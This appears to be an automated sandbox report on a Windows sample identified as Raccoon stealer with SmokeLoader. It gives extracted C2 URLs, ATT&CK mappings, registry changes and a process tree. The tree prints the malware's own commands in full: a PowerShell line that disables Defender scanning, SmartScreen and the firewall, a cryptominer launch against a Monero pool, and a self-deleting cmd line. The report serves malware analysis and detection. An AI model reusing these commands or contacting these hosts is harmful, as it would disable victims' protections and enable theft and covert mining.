raccoon | 858a2b253b7e26188cffde5e58dfb08e4a26ef393f962958d6a1615c93f9917e

Analysis

max time kernel
151s
max time network
152s
platform
windows10_x64
resource
win10v20210408
submitted
26-09-2021 09:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

924b06fed5002d7dbc6004401b7a519f.exe
Size

145KB
MD5

924b06fed5002d7dbc6004401b7a519f
SHA1

669962749b03a129e44c6eec9ef2804ec31493f4
SHA256

858a2b253b7e26188cffde5e58dfb08e4a26ef393f962958d6a1615c93f9917e
SHA512

7b9e2c6765077ebe4e438e86f805792b02e18e2cc4519184c80db4a975db40dec9969a950451f1cdce95a0648f8ff2347fce619e8b40551319ee69e5f577b486

Score

10^/10

raccoon smokeloader 5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4 backdoor discovery evasion spyware stealer themida trojan upx

Malware Config

Extracted

Family

smokeloader

Version

2020

http://naghenrietti1.top/

http://kimballiett2.top/

http://xadriettany3.top/

http://jebeccallis4.top/

http://nityanneron5.top/

http://umayaniela6.top/

http://lynettaram7.top/

http://sadineyalas8.top/

http://geenaldencia9.top/

http://aradysiusep10.top/

rc4.i32

Extracted

Family

raccoon

Botnet

5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4

Attributes

url4cnc
https://t.me/agrybirdsgamerept

rc4.plain

Signatures

Modifies security service 2 TTPs 1 IoCs
evasion

Modify Registry
T1112

Modify Existing Service
T1031

Processes:

powershell.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Start = "4" powershell.exe
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497
Downloads MZ/PE file
Executes dropped EXE 8 IoCs

Processes:

B7B2.exeBEA8.exeC2C0.exeZenar.exeMicrosoft_Edge.exeUpSys.exeUpSys.exeUpSys.exe

pid process

3956 B7B2.exe
3908 BEA8.exe
740 C2C0.exe
3676 Zenar.exe
3648 Microsoft_Edge.exe
4040 UpSys.exe
604 UpSys.exe
1300 UpSys.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Start = "4"	powershell.exe

pid	process
3956	B7B2.exe
3908	BEA8.exe
740	C2C0.exe
3676	Zenar.exe
3648	Microsoft_Edge.exe
4040	UpSys.exe
604	UpSys.exe
1300	UpSys.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Zenar.exe	upx
C:\Users\Admin\AppData\Local\Temp\Zenar.exe	upx
C:\ProgramData\MicrosoftNetwork\System.exe	upx

Checks BIOS information in registry 2 TTPs 6 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

BEA8.exeMicrosoft_Edge.exeB7B2.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	BEA8.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	BEA8.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Microsoft_Edge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Microsoft_Edge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	B7B2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	B7B2.exe

Deletes itself 1 IoCs

Processes:

pid process

3016
Drops startup file 1 IoCs

Processes:

Zenar.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\exe.lnk Zenar.exe
Loads dropped DLL 5 IoCs

Processes:

C2C0.exe

pid process

740 C2C0.exe
740 C2C0.exe
740 C2C0.exe
740 C2C0.exe
740 C2C0.exe
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
3016

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\exe.lnk	Zenar.exe

pid	process
740	C2C0.exe
740	C2C0.exe
740	C2C0.exe
740	C2C0.exe
740	C2C0.exe

Themida packer 7 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\B7B2.exe	themida
C:\Users\Admin\AppData\Local\Temp\BEA8.exe	themida
behavioral2/memory/3956-124-0x0000000000ED0000-0x0000000000ED1000-memory.dmp	themida
behavioral2/memory/3908-129-0x00000000000B0000-0x00000000000B1000-memory.dmp	themida
C:\ProgramData\Systemd\Microsoft_Edge.exe	themida
C:\ProgramData\Systemd\Microsoft_Edge.exe	themida
behavioral2/memory/3648-210-0x0000000000400000-0x00000000011F4000-memory.dmp	themida

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

B7B2.exeBEA8.exeMicrosoft_Edge.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	B7B2.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	BEA8.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Microsoft_Edge.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

Processes:

B7B2.exeBEA8.exeMicrosoft_Edge.exe

pid process

3956 B7B2.exe
3908 BEA8.exe
3648 Microsoft_Edge.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

924b06fed5002d7dbc6004401b7a519f.exe

description pid process target process

PID 4060 set thread context of 508 4060 924b06fed5002d7dbc6004401b7a519f.exe 924b06fed5002d7dbc6004401b7a519f.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
3956	B7B2.exe
3908	BEA8.exe
3648	Microsoft_Edge.exe

description	pid	process	target process
PID 4060 set thread context of 508	4060	924b06fed5002d7dbc6004401b7a519f.exe	924b06fed5002d7dbc6004401b7a519f.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

924b06fed5002d7dbc6004401b7a519f.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	924b06fed5002d7dbc6004401b7a519f.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	924b06fed5002d7dbc6004401b7a519f.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	924b06fed5002d7dbc6004401b7a519f.exe

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

3024 timeout.exe

pid	process
3024	timeout.exe

Modifies data under HKEY_USERS 52 IoCs

Processes:

UpSys.exepowershell.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	UpSys.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	UpSys.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	UpSys.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	UpSys.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	UpSys.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe

Modifies registry class 2 IoCs

Processes:

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

Zenar.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	Zenar.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Zenar.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

924b06fed5002d7dbc6004401b7a519f.exe

pid	process
508	924b06fed5002d7dbc6004401b7a519f.exe
508	924b06fed5002d7dbc6004401b7a519f.exe
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016
3016

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

3016
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

924b06fed5002d7dbc6004401b7a519f.exe

pid process

508 924b06fed5002d7dbc6004401b7a519f.exe

pid	process
3016

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

B7B2.exeBEA8.exepowershell.exe

description	pid	process
Token: SeShutdownPrivilege	3016
Token: SeCreatePagefilePrivilege	3016
Token: SeShutdownPrivilege	3016
Token: SeCreatePagefilePrivilege	3016
Token: SeShutdownPrivilege	3016
Token: SeCreatePagefilePrivilege	3016
Token: SeShutdownPrivilege	3016
Token: SeCreatePagefilePrivilege	3016
Token: SeShutdownPrivilege	3016
Token: SeCreatePagefilePrivilege	3016
Token: SeShutdownPrivilege	3016
Token: SeCreatePagefilePrivilege	3016
Token: SeDebugPrivilege	3956	B7B2.exe
Token: SeDebugPrivilege	3908	BEA8.exe
Token: SeShutdownPrivilege	3016
Token: SeCreatePagefilePrivilege	3016
Token: SeShutdownPrivilege	3016
Token: SeCreatePagefilePrivilege	3016
Token: SeShutdownPrivilege	3016
Token: SeCreatePagefilePrivilege	3016
Token: SeShutdownPrivilege	3016
Token: SeCreatePagefilePrivilege	3016
Token: SeShutdownPrivilege	3016
Token: SeCreatePagefilePrivilege	3016
Token: SeShutdownPrivilege	3016
Token: SeCreatePagefilePrivilege	3016
Token: SeShutdownPrivilege	3016
Token: SeCreatePagefilePrivilege	3016
Token: SeShutdownPrivilege	3016
Token: SeCreatePagefilePrivilege	3016
Token: SeShutdownPrivilege	3016
Token: SeCreatePagefilePrivilege	3016
Token: SeShutdownPrivilege	3016
Token: SeCreatePagefilePrivilege	3016
Token: SeShutdownPrivilege	3016
Token: SeCreatePagefilePrivilege	3016
Token: SeShutdownPrivilege	3016
Token: SeCreatePagefilePrivilege	3016
Token: SeShutdownPrivilege	3016
Token: SeCreatePagefilePrivilege	3016
Token: SeShutdownPrivilege	3016
Token: SeCreatePagefilePrivilege	3016
Token: SeDebugPrivilege	3004	powershell.exe
Token: SeIncreaseQuotaPrivilege	3004	powershell.exe
Token: SeSecurityPrivilege	3004	powershell.exe
Token: SeTakeOwnershipPrivilege	3004	powershell.exe
Token: SeLoadDriverPrivilege	3004	powershell.exe
Token: SeSystemProfilePrivilege	3004	powershell.exe
Token: SeSystemtimePrivilege	3004	powershell.exe
Token: SeProfSingleProcessPrivilege	3004	powershell.exe
Token: SeIncBasePriorityPrivilege	3004	powershell.exe
Token: SeCreatePagefilePrivilege	3004	powershell.exe
Token: SeBackupPrivilege	3004	powershell.exe
Token: SeRestorePrivilege	3004	powershell.exe
Token: SeShutdownPrivilege	3004	powershell.exe
Token: SeDebugPrivilege	3004	powershell.exe
Token: SeSystemEnvironmentPrivilege	3004	powershell.exe
Token: SeRemoteShutdownPrivilege	3004	powershell.exe
Token: SeUndockPrivilege	3004	powershell.exe
Token: SeManageVolumePrivilege	3004	powershell.exe
Token: 33	3004	powershell.exe
Token: 34	3004	powershell.exe
Token: 35	3004	powershell.exe
Token: 36	3004	powershell.exe

Suspicious use of FindShellTrayWindow 6 IoCs

Processes:

pid process

3016
3016
3016
3016
3016
3016
Suspicious use of SendNotifyMessage 2 IoCs

Processes:

pid process

3016
3016

pid	process
3016
3016
3016
3016
3016
3016

pid	process
3016
3016

Suspicious use of WriteProcessMemory 33 IoCs

Processes:

924b06fed5002d7dbc6004401b7a519f.exeC2C0.execmd.exeBEA8.exeZenar.exepowershell.exeUpSys.exe

description	pid	process	target process
PID 4060 wrote to memory of 508	4060	924b06fed5002d7dbc6004401b7a519f.exe	924b06fed5002d7dbc6004401b7a519f.exe
PID 4060 wrote to memory of 508	4060	924b06fed5002d7dbc6004401b7a519f.exe	924b06fed5002d7dbc6004401b7a519f.exe
PID 4060 wrote to memory of 508	4060	924b06fed5002d7dbc6004401b7a519f.exe	924b06fed5002d7dbc6004401b7a519f.exe
PID 4060 wrote to memory of 508	4060	924b06fed5002d7dbc6004401b7a519f.exe	924b06fed5002d7dbc6004401b7a519f.exe
PID 4060 wrote to memory of 508	4060	924b06fed5002d7dbc6004401b7a519f.exe	924b06fed5002d7dbc6004401b7a519f.exe
PID 4060 wrote to memory of 508	4060	924b06fed5002d7dbc6004401b7a519f.exe	924b06fed5002d7dbc6004401b7a519f.exe
PID 3016 wrote to memory of 3956	3016		B7B2.exe
PID 3016 wrote to memory of 3956	3016		B7B2.exe
PID 3016 wrote to memory of 3956	3016		B7B2.exe
PID 3016 wrote to memory of 3908	3016		BEA8.exe
PID 3016 wrote to memory of 3908	3016		BEA8.exe
PID 3016 wrote to memory of 3908	3016		BEA8.exe
PID 3016 wrote to memory of 740	3016		C2C0.exe
PID 3016 wrote to memory of 740	3016		C2C0.exe
PID 3016 wrote to memory of 740	3016		C2C0.exe
PID 740 wrote to memory of 628	740	C2C0.exe	cmd.exe
PID 740 wrote to memory of 628	740	C2C0.exe	cmd.exe
PID 740 wrote to memory of 628	740	C2C0.exe	cmd.exe
PID 628 wrote to memory of 3024	628	cmd.exe	timeout.exe
PID 628 wrote to memory of 3024	628	cmd.exe	timeout.exe
PID 628 wrote to memory of 3024	628	cmd.exe	timeout.exe
PID 3908 wrote to memory of 3676	3908	BEA8.exe	Zenar.exe
PID 3908 wrote to memory of 3676	3908	BEA8.exe	Zenar.exe
PID 3676 wrote to memory of 3004	3676	Zenar.exe	powershell.exe
PID 3676 wrote to memory of 3004	3676	Zenar.exe	powershell.exe
PID 3676 wrote to memory of 3648	3676	Zenar.exe	Microsoft_Edge.exe
PID 3676 wrote to memory of 3648	3676	Zenar.exe	Microsoft_Edge.exe
PID 3004 wrote to memory of 4040	3004	powershell.exe	UpSys.exe
PID 3004 wrote to memory of 4040	3004	powershell.exe	UpSys.exe
PID 3004 wrote to memory of 1524	3004	powershell.exe	netsh.exe
PID 3004 wrote to memory of 1524	3004	powershell.exe	netsh.exe
PID 1300 wrote to memory of 2856	1300	UpSys.exe	powershell.exe
PID 1300 wrote to memory of 2856	1300	UpSys.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\924b06fed5002d7dbc6004401b7a519f.exe
"C:\Users\Admin\AppData\Local\Temp\924b06fed5002d7dbc6004401b7a519f.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4060

C:\Users\Admin\AppData\Local\Temp\924b06fed5002d7dbc6004401b7a519f.exe
"C:\Users\Admin\AppData\Local\Temp\924b06fed5002d7dbc6004401b7a519f.exe"
2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:508

C:\Users\Admin\AppData\Local\Temp\B7B2.exe
C:\Users\Admin\AppData\Local\Temp\B7B2.exe
1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:3956

C:\Users\Admin\AppData\Local\Temp\BEA8.exe
C:\Users\Admin\AppData\Local\Temp\BEA8.exe
1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3908

C:\Users\Admin\AppData\Local\Temp\Zenar.exe
"C:\Users\Admin\AppData\Local\Temp\Zenar.exe"
2⤵
- Executes dropped EXE
- Drops startup file
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:3676

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(exit)
3⤵
- Modifies security service
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3004

C:\ProgramData\UpSys.exe
"C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
4⤵
- Executes dropped EXE
PID:4040

C:\ProgramData\UpSys.exe
"C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
5⤵
- Executes dropped EXE
PID:604

C:\ProgramData\UpSys.exe
"C:\ProgramData\UpSys.exe" /TI/ /SW:0 powershell.exe
6⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:1300

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
7⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2856

C:\Windows\system32\netsh.exe
"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
4⤵
PID:1524

C:\ProgramData\Systemd\Microsoft_Edge.exe
-o pool.minexmr.com:4444 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQnLV2S6XfF4NcZDZ76 -p password666 --coin=XMR --cpu-max-threads-hint=35
3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3648

C:\Users\Admin\AppData\Local\Temp\C2C0.exe
C:\Users\Admin\AppData\Local\Temp\C2C0.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:740

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\C2C0.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:628

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
3⤵
- Delays execution with timeout.exe
PID:3024

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

System Information Discovery

T1082

Peripheral Device Discovery

T1120

Lateral Movement

Collection

